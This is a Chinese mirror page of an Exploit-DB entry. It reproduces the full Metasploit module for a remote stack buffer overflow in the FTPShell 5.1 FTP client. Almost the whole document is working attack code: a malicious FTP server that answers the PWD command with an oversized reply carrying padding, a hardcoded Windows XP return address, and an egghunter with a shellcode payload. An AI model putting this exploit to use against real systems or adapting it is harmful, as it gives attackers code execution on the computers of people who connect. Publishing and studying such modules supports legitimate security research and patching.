FTPShell 5.1 – Remote Stack Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-11-14

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16736/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

##

# $Id: ftpshell51_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Exploit::Remote::FtpServer

include Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'FTPShell 5.1 Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets

triggered when the ftp clients tries to process an overly response to a PWD command.

This will overwrite the saved EIP and structured exception handler.

},

'Author' =>

[

'corelanc0d3r' #found bug, wrote the exploit

],

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 11039 $",

'References' =>

[

[ 'OSVDB', '68639'],

[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload'=>

{

'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",

},

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483} ], #jmp ebp [setupapi.dll]]

],

'Privileged' => false,

'DisclosureDate' => 'Oct 12 2010',

'DefaultTarget'=> 0))

end

def setup

super

end

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end

def on_client_command_pwd(c,arg)

badchars = ""

eggoptions =

{

:checksum => true,

:eggtag => "w00t"

}

hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

print_status(" - PWD command -> Sending payload")

junk = "A" * target['Offset']

nops = "A" * 10

tweakhunter = "\x5a\x5a"

eip = [target.ret].pack('V')

buffer = junk + eip + nops + tweakhunter + hunter + egg

pwdoutput = "257\"/" + buffer+ "\" is current directory\r\n"

c.put(pwdoutput)

print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")

return

end